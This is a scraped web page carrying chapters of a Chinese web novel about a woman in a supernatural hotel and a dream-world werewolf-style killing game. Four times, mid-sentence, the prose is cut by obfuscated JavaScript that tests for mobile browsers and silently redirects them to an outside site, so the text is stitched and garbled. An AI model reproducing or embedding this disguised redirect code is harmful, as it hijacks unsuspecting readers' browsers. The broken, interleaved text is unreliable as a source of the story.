;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173277|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俞小澄喘着气坐在了沙发上。 门外的人愤怒不已,对着木门又踢又砸,等到发现门锁上插着钥匙,又试图用钥匙开门,可惜并不奏效。 等到砸累了,他从一旁拖了张凳子过来,坐在门前守着俞小澄。 “嘿嘿,我跟你讲,我有一晚上的时间跟你慢慢耗,嗝……你觉得这扇小门能挡得住我吗?” 门外的酒鬼嘴里说着浑话,坐在凳子上喘着粗气,俨然一副休息片刻后便会卷土重来的姿态。 俞小澄没有搭话,只是不停地看向手表。 她不想再激怒酒鬼,免得酒鬼真一怒之下破门而入,那她还真不一定有办法对付得了这个中年男人。 事态的发展与俞小澄心中所想有些出入,她想过对方为了活命对同住之人下手,为了抢占“安全场所”将她赶走,唯独没想过,对方会想些有的没的。 不过就结果而言,差不了太多。 酒鬼见俞小澄没有选择往楼下跑,而是往隔壁躲,下意识已经认定停留在三楼是安全的了。 所以,酒鬼才不慌不忙蹲守在门外,想要凭暴力将俞小澄拿下。 看着酒鬼直勾勾盯着自己的眼神,俞小澄恶心作呕,只求时间能过快点。 “你现在自己出来,我还会对你温柔点,等会儿我自己动手,那可就把握不住手轻手重咯,嗝……”酒鬼一脸坏笑地威胁着。 俞小澄只能送他个大白眼,连骂他龌龊的心情都没有。 面对这样的蛆虫,俞小澄觉得果然还是彻底消失比较合适,否则由他死在梦境中,指不准以后会创造出什么恶心的梦境。 就这么又僵持了十分钟,酒鬼休息够了,也失去继续等下去的耐心。 他举起凳子便向小窗口的玻璃砸来,撞击产生的巨大冲击,带着震耳的响声,让原本安静的空间变得嘈杂,气氛令俞小澄紧张到浑身冷汗直流。 “应该没事吧?连旅店安保人员都无法突破的大门……” 俞小澄在心里念叨着,双手十指死死攥紧衣摆,面色也因为莫名的恐惧而泛白。 在她踏出这一步时,就已经想好了,大不了与酒鬼同归于尽。彻底的消亡并没有带给她太多恐惧,可一想到酒鬼可能破门而入,竟比死亡更可怕些。 低头再次看了看手表,距离晚上十点还剩17分钟,吸烟室的房门在酒鬼的摧残下,开始变得摇摇欲坠。 窗玻璃竟也出现一道不太明显的裂痕,感觉撑不了多久,它就会在酒鬼不断的进攻中碎掉。 “喂,有人破坏旅店设施了,没人管管吗?” 俞小澄不知道自己在冲谁叫喊,只是坚持不到十点的感觉愈发强烈,此刻她唯一能想到的就是曾经有新住客因为打砸旅店大门被制裁了。 “哈哈哈……你在喊谁呐?这旅店一个人影也没有,别做梦了,没人能救得了你,你不如让爷开心开心,爷肯定好好疼你!哈哈哈……嗝……” 俞小澄感觉隔着门都能闻到酒鬼身上的臭气,不由得眉头紧皱。 酒鬼正在兴头上,全然没注意脚下地板正在一点点消失,露出黑漆漆的无底洞。 就在酒鬼即将砸破玻璃的瞬间,酒鬼脚下一空,整个身影便在门外消失无踪了。 等到俞小澄回过神,凑到小窗口往外瞧时,地板早已恢复原本模样,休息活动区内哪里还有酒鬼的身影。 213. 多事的 俞小澄站在窗口确认了很久,思考酒鬼是否在这种时候还能有脑子跟自己玩欲擒故纵。 只要酒鬼拖延时间,无疑就是宣布俞小澄的胜利,俞小澄觉得以酒鬼这种脑子,也不是干不出来。 如果真是这样,那她可就要安心在吸烟室里躺下,等待十点过后看好戏了。 就在俞小澄打算转身躺平时,吸烟室的房门突然就打开了。 俞小澄吓得浑身一抖,从桌上抄起烟灰缸当武器防身,准备只要看见酒鬼露出头,就用尽全力砸上去。 这种时候她也顾不上旅店不允许住客相互残杀的规定了,誓要将酒鬼一击爆头,再无起身的可能。 大不了被旅店制裁罢了,如今她对死真没多少恐惧,只是有些可惜,招财进宝还没托付给范正昂。 可等了好几分钟,门外依然安静得没有一点动静。 细想之下,这门究竟是如何打开的? 俞小澄明明记得自己反锁了房门,酒鬼已经停止了砸门,万不可能说开就开了。 她随即就意识到,那门不是酒鬼砸开的,而是被旅店管理者强行打开的。 俞小澄不认为旅店管理者会干涉住客之间的纷争,更没理由拉偏架,故意开门给酒鬼可乘之机。 于是她蹑手蹑脚走出吸烟室,视线在休息活动区扫视一圈,果然不见酒鬼身影,直觉告诉她,管理者对酒鬼出手了。 可为何要开她的门,俞小澄一时有些想不通,感觉对方似乎是在赶客。 如果这门没开,俞小澄还真想直接在吸烟室呆一晚,看看这一次管理者又会拿她如何。 就在她想转回吸烟室再拿旅店管理者做做实验时,吸烟室的房门在她面前无情地关闭了。 俞小澄愣了愣神,有种小心思被人看穿的挫败感。 她总觉得此刻正有人暗中盯着她的一举一动,能够轻松拿捏旅店中的一切。 “呵,能听到我说话是吧?”俞小澄感觉一股无名火焰从心口蹿了出来,带着一种有意与之作对的想法,俞小澄转身往窗边走去,一屁股坐在了懒人沙发上。 窗外的夜空繁星闪烁,若不是在这个恼人的地方,大概俞小澄会觉得心情舒畅。 这大概是她第一次也是最后一次想要抵抗旅店管理者的意志,不想按照管理者的意愿行事。 其实最主要的原因,还是她累了,在这个世界活着对她来说已经不再重要。 俞小澄的手滑进衣兜里,那里面孤零零地躺着两个陶瓷娃娃,她将陶瓷娃娃举到面前看了又看,心中尚残存一点遗憾。 “等我走了,只能你们自己再找人陪你们玩了。” 嘴里小声念叨一句后,她又倔强地冲着空气挑衅道:“我今天就睡这儿了!” 话音刚落,休息活动区里凭空出现无数红色的倒计时,天花板上、墙上、地板上、桌子上、书架上、椅背上、花瓶上……密密麻麻的红色数字,瞬间占领了整个房间。 仿佛是一种来自旅店的警告,时间正从10分钟开始一秒秒倒数。 这种强烈的视觉冲击,很难不令人紧张不安,可俞小澄权当看不见,索性闭了眼,安然地窝在沙发里,一副摆烂到底的架势。 倒数计时的提示不管用,休息活动区内竟又开始播放起广播。 “距离门禁时间还有8分钟,请各位住客赶紧回房,切勿在外逗留……” 广播里仿佛传来机械的播报声,陌生的语调听不出来是哪位客服,可一刻不停的催促,能听出是真的很想赶走俞小澄。 俞小澄莫名觉得有点有趣,她用手堵住耳朵,不禁想看看这旅店管理者还能耍出什么花样。 可过了大约一分钟后,不管是满屋子的倒数计时,还是喋喋不休的广播语音,骤然消失于无形之中。 突然身后伸出一只手,搭在了俞小澄的肩上,吓得俞小澄浑身都僵硬了。 “时间还没到就叫安保人员出场,算不算犯规?”俞小澄黑着脸,高声大骂道。 搭在她肩上那只手的主人仿佛被她这一嗓子吓唬住,连忙将手缩了回去,然后一声礼貌的道歉在身后响起。 “吓到你了吗?对不住。不过俞小姐,这个时间再不回房,可就要出大事了。” 那声音听上去十分熟悉,俞小澄确认一般转过头,随即看到了范正昂异常紧张的面孔。 俞小澄诧异地眨了眨眼,问:“你怎么跑出来了?” 说话间,下意识地看了看手表,距离晚上十点只剩5分钟,俞小澄打算拿自己做实验,可范正昂的出现多少有些打乱她的节奏。 范正昂不好意思地笑了笑,一边试着扶起俞小澄,一边解释道:“你说有事出来,然后一直没回房间,我实在放心不下,所以出来找你。” “呵,你是怕我偷跑到其他客房里去了吧?”嘴里忍不住一阵调侃,俞小澄没有怎么挣扎,顺从地站起身,心里有些责怪范正昂来得不是时候。 大概被说中了心思,范正昂红了脸,赶紧用催促转移了话题。 俞小澄本想劝范正昂自行离开,可总担心说不上几句话,反而耽误了范正昂回房的时间,自己被旅店消灭事小,害了想活的人,她总觉得于心不忍。 于是内心挣扎了片刻,她便决定先同范正昂离开休息活动区。 坐着电梯下了楼,重新回到房间里,范正昂才问俞小澄刚才出门干什么去了。 俞小澄没有隐瞒,如实相告:“我送那个酒鬼离开旅店了。” 范正昂稍稍反应了一会儿,才意识到俞小澄口中的离开并非他心中所想的那个离开。 他瞬间收了声,甚至不敢问俞小澄这么做的理由,对俞小澄肃然起敬,安静地跟在俞小澄身后,看着俞小澄落座,自己也端正地坐了下来。 “你不好奇他是怎么没的?”俞小澄饶有兴致地反问。 范正昂咽了咽口水,十分识相地接话道:“好奇。” 范正昂这副事事顺从的模样,让俞小澄觉得莫名好笑,甚至感觉自己不知何时起,给自己塑造出了恶霸形象,且深入范正昂的内心,让他时刻注意不要言语得罪她这位大佬。 如果人人都有范正昂这幅眼力见,俞小澄也不需要费功夫除掉他们了。 “他损坏了吸烟室的门,违反了旅店规则,被管理者消灭了。”俞小澄轻描淡写地说道。 范正昂点点头,直言那酒鬼活该,细品下又觉得哪里不对劲,遂又关心道:“那酒鬼怎么无缘无故跑去破坏吸烟室的门?俞小姐没跟他起冲突吧?” 俞小澄微微一笑,说:“的确发生了点冲突。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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借着打开话匣子的机会,范正昂问出了心中的疑惑:“对了,刚才你在休息活动区,不会是打算不回来了吧?” 俞小澄淡然一笑,将一直握在手心里的两个陶瓷娃娃展示到范正昂面前,坦然地说:“一直以来,我就是靠这两个小家伙对付恶灵的。” “这是?”范正昂不解地问。 俞小澄便依次指了指陶瓷娃娃,向范正昂介绍招财进宝,并解释说:“招财进宝是我的守护神,从进入穷途旅店的第一天起,就一直跟在我身边,只是别人看不见。” “哦,这样啊。”范正昂的表情看上去有些放空自我。 这种可以说得上离奇的介绍,正常人听过后,不把俞小澄当神经病已是难能可贵。 只因这说法像极了精神分裂的患者,向他人介绍自己有个看不见的朋友。 俞小澄无甚在意,继续自说自话道:“如果哪天我从旅店消失了,你就替我多照顾他们一下,当然,前提是你能看见他们。说实话,为什么只有我能看到,我至今还没弄明白,不过这些不是很不重要,如果你看到这两个陶瓷娃娃,就将他们收好,行吗?” 面对俞小澄的一脸期待,范正昂仗义地点了点头,只是有些在意,为何俞小澄突然像在安排后事似的。 他可以猜到,今天从客服口中得到的某个答案,对俞小澄的打击一定很大,之前见俞小澄肯下楼选房卡,他还以为她自己想通了,可刚才见她窝在三楼沙发一动不动,想来俞小澄的心是真的死了。 范正昂不知道该怎么劝说,毕竟他自觉人微言轻,况且就算说了,俞小澄也大概率不会听他的,故而只能默默做好心理准备——今后这大腿恐怕是抱不下去了。 214. 梦境(九) 一间四四方方超百平的大客厅,中央是被皮质沙发半包围的大理石茶几,正对的墙上镶嵌着一个大屏幕。 另一面设宽大落地窗,采光极佳,整体装修风格简约大气,窗边设茶座,休闲安逸。 房子整体分为上下两层。 从客厅里可以望见楼上分布在三个方向的五间房,房门上用荧光色写着大大的字母,从A到E。A位于正对大门方向,单独一间,大门左侧以依次是B和C,右侧是D和E。 楼下则以客厅为中心,分布着不同的区域,厨房、餐厅、娱乐室、书房、会议厅、健身房、淋浴间、桑拿房、卫生间、吸烟室……可谓功能齐全,应有尽有。 唯一的缺点是,整个房子形成一个密闭空间,出口大门无法打开,也没有通往室外的阳台。 就在这样密闭的空间里,此刻正聚集着三十人,有的坐着,有的站着,看上去谁都不认识谁,却对被困密室的情况毫不慌张。 俞小澄便是这三十人中的一员,一进入梦境,便将整个房子大致转了一遍。 客厅的角落里,俞小澄以外的四位住客正聚在一起,低声交谈着关于梦境的话题。 桑姐:“酒鬼不是跟你在一起吗?怎么看了一圈没见到他人?” 小胖:“不知道啊,等得我睡着了都没等到他回来,那大哥不会背着我们跑其他房间住去了吧?” 桑姐:“啧,有可能,这种出尔反尔的家伙,祝他死在外面!” 小胖:“范哥,我们在梦境里要干嘛?怎么这么多人?” 小布:“对、对啊……好像也出不了这个房子……” 范正昂的视线正跟随着四处查看的俞小澄,听到突然有人发问,慌慌张张回过神来,可对于这个问题,他一时不知该如何回答。 “嗯……这个嘛……每场梦境的主题都不一样,我也不知道这么多人聚在这里干嘛。”思来想去,范正昂最终选择说了些毫无营养的废话。 就在客厅里的众人各忙各的时候,十声钟响,吸引了所有人的注意力。 恰在此时,镶嵌在客厅墙壁上的大屏幕骤然亮起,一个身穿黑斗篷,戴着骷髅面具的人出现在屏幕画面中。 “欢迎大家来参加为期五天的真人秀游戏,争夺一亿奖金。” 屏幕中传出的声音似乎做了特殊处理,听不出实际是男是女。 桑姐听到“一亿奖金”四个字,惊得眼珠子都要掉出来了,扭头问范正昂:“真的假的?啥游戏给一个亿,我不是在做梦吧!” 小胖讥笑道:“桑姐,我们本就是在做梦啊,你莫不是忘了。” 小布掩嘴偷笑,可又担心因此得罪了桑姐,赶紧收敛了笑容。 电视里的骷髅面具人继续高声宣讲起游戏规则。 “这场游戏分为三个阵营:狼阵营、人阵营、羊阵营。身份在各位进入游戏场地时,已经分配完毕,你们身上有一张身份卡牌,请妥善保管,切勿向旁人展示,否则将被判违规,淘汰离场。” 在这句规则说明的提醒下,在场众人全都开始在身上摸索起来,随后发现了一张背面画着狼人羊三方割据画面的卡牌。 俞小澄也在衣兜里摸出了一张卡牌,她谨慎地退至无人的角落,确认了卡牌上的身份。 只见卡牌正面画着一个手拿法杖的人,图片下方写着两个字——先知,在这两个字下方,还有一行烫金小字,内容为一串数字——No.736。 看完卡牌的人全都警惕地观察着周围的人,没有一个人说话,只待骷髅面具人继续交代游戏细则。 “每天晚上9点前,每位参赛者必须进入会议厅,投下一张驱逐票,得票最高的人,将在当天被驱逐出局。” “每日晚上11点前,每位参赛者必须选择进入二楼房间休息,且11点后不得离开房间。房间共有五间,每间休息人数不得高于六人。” “晚上11点到12点之间,抽到特殊身份牌的参赛者可以根据技能选择行动,12点后所有人进入休眠状态,每个房间将根据阵营情况进行结算。” “结算规则如下: 当房间内存在三方阵营时,羊阵营的人数将不会影响房间内结果,而由人阵营和狼阵营人数决定。 人大于狼时,触发屠狼,房中狼死;狼大于人时,触发吃人,房中人死;二者人数相同时,触发灭羊,房中羊死。 当房间内只存在两方阵营时,人羊组合触发平安夜,人狼组合触发屠狼,羊狼组合触发灭羊。 当房间中只存在一方阵营时,只要出现全羊房,全人和全狼的房间触发全灭;反之,全人和全狼的房间触发平安夜。” 骷髅面具人一句不停地说着游戏规则,客厅里的人全都聚精会神地听着,唯恐漏听一句。 俞小澄听得直皱眉,这场梦境的规则十分直白,毫不掩饰它的杀人目的,几乎注定了每天必有死亡,根本无法避免。 介绍完主要的行动规则后,骷髅面具人又细致地讲解起关于身份牌的信息。 “狼阵营分为红狼、隐狼和小狼。小狼只有投票权,夜晚无需行动;红狼可以在入夜后袭击任意房间中的一人,从而改变阵营格局;隐狼可以隐藏自己的身份,当被查验时,会显示为人阵营。” “人阵营分为先知、猎人和村民。村民只有投票权,夜晚无需行动;先知每晚可选择同屋一人查验身份,身份只显示阵营;猎人的技能只在与红狼同屋时可以发动,当晚可选择猎杀一人。” “羊阵营分为黑羊、灰羊和白羊。白羊只有投票权,夜晚无需行动;黑羊每晚可选择改变自己的阵营,该变化仅当晚生效,会影响夜晚结算和被查验的结果,天亮后恢复原本阵营;灰羊如果不与红狼同屋,可锁住房门,避免红狼袭击。” “任意两方阵营全灭,幸存的那一方赢得最终胜利,平分一亿奖金。” 至此,骷髅面具人的宣讲彻底结束,屏幕瞬间熄灭了。 客厅里的众人沉默了片刻后,有人开始向他人请教未明白的规则,有人开始打听别人的身份拉帮结派,有人远离人群独自盘算…… 俞小澄此时才回到旅店住客的聚集地,然后就听到那四人正七嘴八舌地商量着要如何在这场游戏中存活下来。 赢得一亿奖金对他们来说根本没有吸引力,因为这不过是梦境,就算赢下奖金也带不出去,只有活着,才是他们最终的目标。 桑姐提议:“这样吧,我们先互报一下各自的阵营,方便决定晚上如何分配房间。” 小布毫无异议,点头道:“有道理,我是白羊,你们呢?” 小布毫无心眼地道出了自己真实身份,而这个时候俞小澄看见桑姐和小胖的眼睛里闪过一丝狡黠的光。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187857|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两个人都不开口,而是看向了俞小澄和范正昂,似乎想要在知道别人的身份牌后,再决定自己说出什么样的答案。 他们这点小心思,在俞小澄眼中属实可笑,于是她直接说自己也是小狼。 范正昂一听俞小澄的答案,立马附和道:“巧了,我也是小狼。” 桑姐似乎意识到什么,没有说出自己的身份,而是转移话题问范正昂:“这游戏玩家真的可以全员存活吗?不同阵营要如何结束游戏?” 范正昂瞄了一眼俞小澄,见她面无表情,于是回答道:“要么坚持到最后一天结束,要么提前找出恶灵并用道具消灭恶灵。” 其实这两个条件,范正昂在向他们说明雏菊和箭竹梦境时,已经提到过了,所以桑姐没有更细致地问下去。 她此刻的注意力停留在小胖身上,笑着向小胖索要身份。 小胖说:“我是灰羊。” 桑姐最终交代:“那不妙了,我也是小狼,所以我们要住进同一间房的唯一解法,就是再找一个人,然后让那个人出局。” 在三狼两羊的格局下,再找一个属于人阵营的NPC自然是唯一的解法,既可保证玩家全员存活,又可避免羊被狼残杀。 可问题是这五个人里面,有四个人都没说实话。 俞小澄没有拆穿同自己和范正昂一样撒了慌的桑姐和小胖,而选择赞同了桑姐的想法。 “行吧,就按照你的想法,再随便拉拢一个人阵营的NPC,不过表明身份时,得改一改,将狼说成人。”俞小澄建议道。 只有人和羊共存于同一房间时,才能触发平安夜。 于是他们分头去寻找合适的人选。 看着另外三人混进人群中,范正昂才悄声问俞小澄:“他们中明显有人没说实话,真让他们去找人阵营的NPC,今晚一定会有人死亡,真的没问题吗?” 范正昂的脸上写满了担忧,俞小澄则显得无比淡定,拍了拍范正昂的肩,笑道:“没关系,不管他们找来的人真实身份是人、是狼、还是羊,我们都不可能出局。” 既然对方不说实话,俞小澄也不在意他们是死是活。 在俞小澄和范正昂眼中,其他三人的身份其实相当透明,当小布第一个说出自己身份时,另外两人的身份基本就已经明了了。 因为二人比新住客多了一条已知信息,那便是梦境的阵营安排基本上全是按照房间分配。 俞小澄和范正昂都被分配到了人阵营,那剩下两间房就必定是狼阵营和羊阵营。 所有人都看得出,小布没有说谎,所以说自己是小狼的桑姐身份只能和小布一样,属于羊阵营,而剩下那个说自己是灰羊的小胖,其真实身份只能是狼。 不管在桑姐眼中,还是小胖眼中,只要找一个属于人阵营的NPC,他们都能安稳度过第一晚,且不暴露自己的实际身份。 只是他们不知道,俞小澄和范正昂也跟他们一样没说实话。 按照他们现在真实的2人、2羊加1狼的格局,不管拉一个人入伙,还是拉一个羊入伙,都是狼死。 即使拉入的是黑羊,怎么改变阵营都对二人没影响。 而拉一个狼入伙,则是羊死。 可惜,他们对外宣称3人2羊,不会有狼傻到进入他们这个房间送死,也不会有黑羊傻到变狼。 215. 梦境(九) 为了确定自己的判断没有错,俞小澄让招财去偷看了桑姐三人的卡牌,事实证明她的猜想没有错,桑姐和小布都是白羊,而小胖是隐狼。 加上范正昂自报的村民身份,场上五名玩家的身份已然明了。 俞小澄不介意花两晚时间将桑姐三人全解决掉。 至于自己中途会不会出局,她并不是十分关心,有种难得放任自流的松弛感。 对于俞小澄决定的事,范正昂不敢表现出质疑和反对,他总觉得俞小澄的精神状态不太正常,好像随时可能崩坏掉。 “晚上的事暂且就这么着吧,可是今天晚上9点前,还必须投票放逐一人,这个结果好像不太好控制吧?”范正昂担心地说道。 俞小澄看了看四周或分散或聚集的人,有些人在寻找平安度过夜晚的方式,有人在想办法将敌对阵营的人送出局。 这一亿的奖金在NPC眼中,是拼命的动力,至少梦境就是这么赋予他们的行为逻辑。 所以,没有人会考虑有没有可能大家一起撑过五天游戏时间,让这场游戏以失败告终。 这也就意味着,没有NPC会配合说实话。 “想要控制投票,就必须发动其中两方之力,一起围堵另一方,先抢占人数优势。”俞小澄冷静地说道。 范正昂表示同意,简单分析道:“对羊阵营来说,狼阵营的威胁大于人阵营,削减狼数量,可以降低触发灭羊的可能性。” 俞小澄点了点头,接话道:“对人阵营来说,前期也是狼阵营威胁大。红狼的技能对格局带来的影响巨大,且不确定性过高,谁都可能死在红狼的袭击下。” “第一局投死红狼是个不错的选择。”范正昂做出判断。 “嗯,是不错,但红狼不会自曝身份,就算我能找出红狼,要如何说服人与羊相信,同样是个问题。” “跳先知倒是有可信度,但第一天不行,先知的技能要到晚上才能发动。”范正昂仔细琢磨着各种可行性。 “第一天纯盲投,所以要抓紧时间拉盟友。” 俞小澄抬了抬下巴,示意范正昂观察蠢蠢欲动的人群,那里面不少人和俞小澄的想法一样,寻找晚上室友的同时,也在寻找共同投票的盟友。 对所有人来说,只要这票别投到自己头上,谁出局都可以。 “这个时候,低调点,别做太引人注意的事就好。”俞小澄低声告诫道,“先去找本轮愿意跟我们合作的人选吧,你跟我各找一个,说不定还能增加帮我们投票的人呢?” 范正昂满脸狐疑,一会儿望向人群中正在找人的三人组,一会儿看向面前镇定自若的俞小澄,问:“交给那三人找不就行了吗?” 俞小澄嘴角微微上扬,用轻蔑的眼神注视着人群中屡屡碰壁的三人,笑道:“靠那三个自作聪明的人,恐怕一个人都带不回来。” “那我找人时,如何确定他们说的话是真还是假?” “不需要确定,你的话也不用天衣无缝,只要有人自称是人阵营,你稍微表现出怀疑,然后将人带回来即可。” 范正昂虽不明白俞小澄的意图,但既然他无论带什么阵营的NPC回来都不会影响他与俞小澄,他便顺从地按照俞小澄的安排去寻人了。 就在俞小澄与范正昂谈论起红狼这个话题时,俞小澄心中突然生出一个大胆的想法,于是她暗中让招财去人群中寻找红狼牌,而此刻,招财已经带回消息。 “人是找到了,不过那人……” 招财脸上表情复杂,看上去有些为难,一时又说不清所以然,于是绕到俞小澄身后,推着她往人群中走,嘴上还催促道,“姐姐去看了就明白了。” 在招财的指引下,俞小澄很快在人群中找到了那个抽中红狼身份牌的NPC。 只是看了一眼,俞小澄就整个人懵了。 眼前站着的人看上去十分眼熟,年纪不大,脸上带着青年人独有的桀骜,俞小澄对这人印象还挺深刻,因为他是第一个因为失去朋友情绪失控,胆敢对前台客服动手的住客。 她记得他是那三个高中生中的一个,外号好像叫石头。 在看见石头的那一瞬间,俞小澄的视线慌张地在人群中探索,心里已经大概猜出了这场梦境的造梦者是谁了。 要么是死在修仙梦境中的同伴小北,要么是在修仙梦境中抢先进了记忆之门的同伴大林。 果然,有意识地寻找下,她终于在分散的人群中,寻到了那两个又熟悉又有些遗忘的面孔。 两人都在! 那么谁会是本场梦境的恶灵呢? 俞小澄首先排除了石头,因为他死在旅店规则下,绝无化身恶灵的可能性。而小北和大林都获得了验证的机会,肯定都失败了,所以都可能成为本场梦境的造梦者。 至于是谁,俞小澄现在还无法肯定。 “难怪这游戏如此疯狂,就像是纯粹为了杀人而存在的游戏,还真是这三个小鬼的风格……”俞小澄面色阴沉地低语道。 她从来不喜欢这三个高中生,不仅因为他们在修仙梦境中企图袭击她,还因为这三个高中生总给她一种轻视生命的无知与冷漠。 在对陈奇的围堵行动中也好,在修仙梦境中对其他住客发动的进攻中也好,他们好像永远都只当是场游戏,轻率到令人害怕的地步。 这场梦境中,俞小澄无需顾忌消灭恶灵的手段,因为她不打算给他们保留再次获得验证的机会,她完全可以通过进宝的能力吞噬恶灵。 不过,现在还不是时候,在此之前,她还得想办法区分出两人中谁才是真正的恶灵。 如此思索着,俞小澄暂时将躁动不已的心稳住,转头向石头走去。 她悄然靠近石头身边,然后故作神秘地问了一句:“请问你是人吗?” 听上去有点像骂人,石头皱起眉头,不客气地回怼:“你说的是人话吗?” 俞小澄不慌不忙地表示歉意,然后解释自己只是想找人阵营的参赛者商量点事,并表示如果他不是,就不打扰了。 说完这些话,俞小澄毅然转身,毫不拖泥带水,一边走还一边打量着周围的参赛者。 石头灵机一动,两步追上俞小澄,笑着说道:“我是人,你想商量什么?” “真的吗?”俞小澄强装一副天真无邪易上当的模样,赶紧拉着石头到了没人的地方,小心谨慎地确认周围没人偷听,才压低声音说,“其实那个、我、就我和几个朋,不, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14196860|133719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个参赛者,刚才互道了身份,想组个人羊局,安稳度过一晚上。” 俞小澄说话时故意露出破绽,让人一听就感觉她在说谎,且看上去智商不高,俨然一副受人指使来寻找冤大头的模样。 石头眼底生出一丝疑心,嘴上附和道:“哦,人羊局啊,想法不错呀,安全!” “嗯嗯,我们已凑齐3人2羊,就想再拉个人入伙。”俞小澄略显紧张地笑了笑。 石头嘴角露出意味不明的笑,心中不知盘算着什么,嘴上故作好奇问:“那你们怎么不再拉只羊入伙呢?” “呃……”俞小澄刻意愣了一下,略显慌张,双手十指在身前紧紧纠缠,眼神飘忽不定,许久才道,“羊……呵呵,羊不行……哦,他们说羊太多了不好,毕竟只是一轮暂时合作而已,呵呵……” 她的理由听上去十分牵强,反而让石头打消了心中某种疑虑,然后点头同意道:“可以,那我加入你们!” “真的吗?那太好了!”俞小澄一脸兴奋,并在兴奋中流露出一点奸计得逞的激动与忐忑,急急领着石头去与同伴汇合。 当她回到五人约定好的汇合地时,一无所获的桑姐三人已经被范正昂叫回,而与他们站在一起的,还有一个面生的NPC,是个长发披肩的安静女人。 等他们相互自我介绍后,石头与长发女人相视一眼,然后一同质问道:“你们不是说只差一人吗?这多找一人是什么情况?” 桑姐见缝插针嘲讽道:“对啊,你们俩做事能不能事先商量好?真是一点小事都办不好。” 小胖发出一声幸灾乐祸的冷笑,指了指俞小澄和范正昂,说:“事情搞成这样,一间房最多住6人,你们俩谁自愿离开吗?” 见同伴咄咄逼人的模样,小布不敢多言,接着被桑姐瞪了一眼,她迫于无奈附和道:“是啊,总不能将请来的客人赶走吧,要不你们两人中走一个吧……” 俞小澄根本没将三人的话放在心上,但表面上还是要装出无辜的样子,半遮掩半明目张胆地眼神示意桑姐:“啊,我们俩走一个可不好,这人数不就……” 她点到即止,桑姐立刻警觉,在她眼中,俞小澄和范正昂两狼,可在俞小澄和范正昂眼里,加上她是三狼。 如果赶走一只狼,加两个人入队,晚上格局将变为2人1狼3羊,死的会是狼,而非人或羊,活着的玩家就会知道她说了谎,届时恐怕不好收场。 踌躇一阵,桑姐厚着脸皮笑道:“呵呵,对啊,我们一开始就说好合作了,怎么能突然拆伙呢?还是麻烦两位后来的朋友,商量一下谁留下吧。” 俞小澄心中暗暗一顿嘲笑,然后不露声色地转向石头和长发女人,一脸抱歉地说道:“哎呀,都怪我们心急找人,没商量好,你俩阵营相同,之后说不定我们还有合作机会,这次……嘿嘿……就只有委屈一下,劳烦二位商量一下,谁加入我们吧?” 长发女人有些不乐意,但石头表情淡定,经过刚才对俞小澄五人的观察,听到她与桑姐言辞中的闪烁,他更加肯定,这五人绝非人羊组合,更不是全狼房。 否则,随便走一个人绝不会影响房间最终结算。 石头阴险一笑,叫上长发女人走到了旁边。 216. 梦境(九) 俞小澄五人看见石头与那个长发女人交头接耳了一阵,声音很低,听不到说了啥,只知道长发女人听了石头的话,脸上不悦之色一扫而空,随后妥协地点了点头。 过了一会儿,二人似乎商量完毕,长发女人嘴上说着抱怨的话,可俞小澄从她抑制不住上扬的嘴角读出了点阴谋的味道。 经过二人商议后,一致决定由石头留下。 俞小澄趁着长发女人还未离开,赶紧开口道:“对了,我们今天还能一起合作,将别组的人投一个出去,如果你有人选,我们乐意帮忙。” 这话听上去就像是因为生意没成而送的赔罪礼,长发女人一听,心中便有了些想法,毕竟驱逐一人足以改变一个房间的格局,如果她善加利用,对她阵营取胜大有益处。 特别是在第一天这种大多数人相互之间还不清楚对方身份的情况下,尽量削减对手,可以为后期奠定胜利的基础。 “好!一言为定!”长发女人爽快地答应后,继续去寻找合作伙伴。 在同阵营参赛者还未相认前,大家大概率会选择拉拢同一屋的盟友来进行投票,一间房最多六人,能在外置位多拉一张票,都可能最终决定出局的人选。 晚上的问题算是解决了,但每个人的心里都各怀鬼胎,齐心算不上,都是相互算计罢了。 正当所有人都暗中谋划着有利于自身的方案时,有人反其道而行之,冷不防地跃到了所有人的眼前。 一个看上去老实敦厚的矮个子男人站了出来,一边打着响指吸引所有人注意,一边高声说道:“所有羊阵营的参赛者注意,我有个绝妙的计划,可让我们羊阵营在这场厮杀中胜出,请所有羊阵营的朋友来找我!” 这一句话立刻引爆全场,人群议论声不断,没有人敢贸然认领羊阵营的身份,而是谨慎地待在人群中,静观其变。 一个女声从人群中传出,尖着嗓子质问:“哼,你这话不会是钓鱼吧?到时候羊阵营身份全部暴露,就真成待宰羔羊了。” 立马有人附和,觉得女人说得在理。 谁也不知道那女人是什么身份,又以什么目的说着这样的话。 